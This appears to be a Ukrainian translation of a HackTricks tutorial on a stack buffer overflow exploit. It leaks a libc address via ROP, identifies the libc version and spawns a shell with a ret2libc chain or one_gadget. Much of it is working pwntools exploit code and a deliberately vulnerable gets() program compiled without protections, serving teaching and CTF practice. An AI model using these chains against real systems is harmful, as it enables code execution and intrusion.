Витік адреси libc з ROP
Reading time: 9 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Швидкий огляд
- Знайти переповнення зсув
- Знайти гаджет
POP_RDI
, гаджетиPUTS_PLT
таMAIN
- Використати попередні гаджети для витоку адреси пам'яті функції puts або іншої функції libc та знайти версію libc (завантажити)
- З бібліотекою, обчислити ROP та експлуатувати його
Інші посібники та бінарники для практики
Цей посібник буде експлуатувати код/бінарник, запропонований у цьому посібнику: https://tasteofsecurity.com/security/ret2libc-unknown-libc/
Інші корисні посібники: https://made0x78.com/bseries-ret2libc/, https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
Код
Ім'я файлу: vuln.c
#include <stdio.h>
int main() {
char buffer[32];
puts("Simple ROP.\n");
gets(buffer);
return 0;
}
gcc -o vuln vuln.c -fno-stack-protector -no-pie
ROP - Leaking LIBC template
Завантажте експлойт і помістіть його в ту ж директорію, що й вразливий бінарний файл, і надайте необхідні дані скрипту:
1- Знаходження зсуву
Шаблон потребує зсуву перед продовженням експлойту. Якщо будь-який зсув надано, він виконає необхідний код для його знаходження (за замовчуванням OFFSET = ""
):
###################
### Find offset ###
###################
OFFSET = ""#"A"*72
if OFFSET == "":
gdb.attach(p.pid, "c") #Attach and continue
payload = cyclic(1000)
print(r.clean())
r.sendline(payload)
#x/wx $rsp -- Search for bytes that crashed the application
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
Виконайте python template.py
, у консолі GDB відкриється програма, яка зазнала збою. Всередині цієї консолі GDB виконайте x/wx $rsp
, щоб отримати байти, які збиралися перезаписати RIP. Нарешті, отримайте зсув за допомогою консолі python:
from pwn import *
cyclic_find(0x6161616b)
Після знаходження зсуву (в цьому випадку 40) змініть змінну OFFSET всередині шаблону, використовуючи це значення.
OFFSET = "A" * 40
Інший спосіб - використовувати: pattern create 1000
-- виконати до ret -- pattern seach $rsp
з GEF.
2- Знаходження гаджетів
Тепер нам потрібно знайти ROP гаджети всередині бінарного файлу. Ці ROP гаджети будуть корисні для виклику puts
, щоб знайти libc, що використовується, а пізніше для запуску фінального експлойту.
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
RET = (rop.find_gadget(['ret']))[0]
log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
PUTS_PLT
потрібен для виклику функції puts.
MAIN_PLT
потрібен для повторного виклику головної функції після одного взаємодії, щоб використати переповнення знову (безкінечні раунди експлуатації). Він використовується в кінці кожного ROP для повторного виклику програми.
POP_RDI потрібен для передачі параметра до викликаної функції.
На цьому етапі вам не потрібно нічого виконувати, оскільки все буде знайдено за допомогою pwntools під час виконання.
3- Знаходження бібліотеки libc
Тепер час дізнатися, яка версія бібліотеки libc використовується. Для цього ми будемо викривати адресу в пам'яті функції puts
, а потім ми будемо шукати, в якій версії бібліотеки знаходиться версія puts за цією адресою.
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
# Create rop chain
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
#Send our rop-chain payload
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
print(p.clean()) # clean socket buffer (read all and print)
p.sendline(rop1)
#Parse leaked address
recieved = p.recvline().strip()
leak = u64(recieved.ljust(8, "\x00"))
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
#If not libc yet, stop here
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
return hex(leak)
get_addr("puts") #Search for puts address in memmory to obtains libc base
if libc == "":
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
p.interactive()
Щоб це зробити, найважливішим рядком виконуваного коду є:
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
Це надішле кілька байтів, поки перезапис RIP не стане можливим: OFFSET
.
Потім він встановить адресу гаджета POP_RDI
, щоб наступна адреса (FUNC_GOT
) була збережена в регістрі RDI. Це тому, що ми хочемо викликати puts, передаючи їй адресу PUTS_GOT
, оскільки адреса в пам'яті функції puts зберігається за адресою, на яку вказує PUTS_GOT
.
Після цього буде викликано PUTS_PLT
(з PUTS_GOT
всередині RDI), щоб puts прочитала вміст всередині PUTS_GOT
(адресу функції puts в пам'яті) і вивела її.
Нарешті, функція main викликається знову, щоб ми могли знову експлуатувати переповнення.
Таким чином, ми обманули функцію puts, щоб вона вивела адресу в пам'яті функції puts (яка знаходиться в бібліотеці libc). Тепер, коли ми маємо цю адресу, ми можемо шукати, яка версія libc використовується.
Оскільки ми експлуатуємо деякий локальний бінарний файл, не потрібно з'ясовувати, яка версія libc використовується (просто знайдіть бібліотеку в /lib/x86_64-linux-gnu/libc.so.6
).
Але в випадку віддаленого експлоїту я поясню, як ви можете це знайти:
3.1- Пошук версії libc (1)
Ви можете шукати, яка бібліотека використовується на веб-сторінці: https://libc.blukat.me/
Це також дозволить вам завантажити виявлену версію libc
3.2- Пошук версії libc (2)
Ви також можете зробити:
$ git clone https://github.com/niklasb/libc-database.git
$ cd libc-database
$ ./get
Це займе деякий час, будьте терплячими.
Для цього нам потрібно:
- Ім'я символу libc:
puts
- Витік адреси libc:
0x7ff629878690
Ми можемо з'ясувати, яка libc найімовірніше використовується.
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
Ми отримуємо 2 збіги (ви повинні спробувати друге, якщо перше не працює). Завантажте перше:
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
-> Downloading package
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
Скопіюйте libc з libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so
до нашого робочого каталогу.
3.3- Інші функції для витоку
puts
printf
__libc_start_main
read
gets
4- Знаходження адреси libc на основі та експлуатація
На цьому етапі ми повинні знати, яка бібліотека libc використовується. Оскільки ми експлуатуємо локальний бінарний файл, я використаю лише: /lib/x86_64-linux-gnu/libc.so.6
Отже, на початку template.py
змініть змінну libc на: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Встановіть шлях до бібліотеки, коли знаєте його
Надавши шлях до бібліотеки libc, решта експлуатації буде автоматично розрахована.
Всередині функції get_addr
буде розраховано базову адресу libc:
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
note
Зверніть увагу, що кінцева адреса бази libc повинна закінчуватися на 00. Якщо це не так, ви могли витікати неправильну бібліотеку.
Тоді адреса функції system
та адреса рядка "/bin/sh" будуть обчислені з бази адреси libc та надані бібліотеці libc.
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
Нарешті, експлойт виконання /bin/sh буде підготовлений для відправки:
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
p.clean()
p.sendline(rop2)
#### Interact with the shell #####
p.interactive() #Interact with the conenction
Давайте пояснимо цей фінальний ROP.
Останній ROP (rop1
) знову викликав функцію main, тому ми можемо знову експлуатувати переповнення (ось чому OFFSET
знову тут). Потім ми хочемо викликати POP_RDI
, вказуючи на адресу "/bin/sh" (BINSH
) і викликати функцію system (SYSTEM
), оскільки адреса "/bin/sh" буде передана як параметр.
Нарешті, адреса функції exit викликається, щоб процес коректно завершився і не було згенеровано жодних сповіщень.
Таким чином, експлойт виконає _/bin/sh_** оболонку.**
4(2)- Використання ONE_GADGET
Ви також можете використовувати ONE_GADGET , щоб отримати оболонку замість використання system і "/bin/sh". ONE_GADGET знайде в бібліотеці libc спосіб отримати оболонку, використовуючи лише одну ROP адресу.
Однак, зазвичай є деякі обмеження, найпоширеніші та легкі для уникнення - це такі, як [rsp+0x30] == NULL
. Оскільки ви контролюєте значення всередині RSP, вам просто потрібно надіслати ще кілька NULL значень, щоб уникнути обмеження.
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
EXPLOIT FILE
Ви можете знайти шаблон для експлуатації цієї вразливості тут:
Загальні проблеми
MAIN_PLT = elf.symbols['main'] не знайдено
Якщо символ "main" не існує. Тоді ви можете знайти, де знаходиться основний код:
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
і встановіть адресу вручну:
MAIN_PLT = 0x401080
Puts не знайдено
Якщо бінарний файл не використовує Puts, вам слід перевірити, чи використовує він
sh: 1: %s%s%s%s%s%s%s%s: не знайдено
Якщо ви знайдете цю помилку після створення всіх експлойтів: sh: 1: %s%s%s%s%s%s%s%s: не знайдено
Спробуйте відняти 64 байти від адреси "/bin/sh":
BINSH = next(libc.search("/bin/sh")) - 64
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.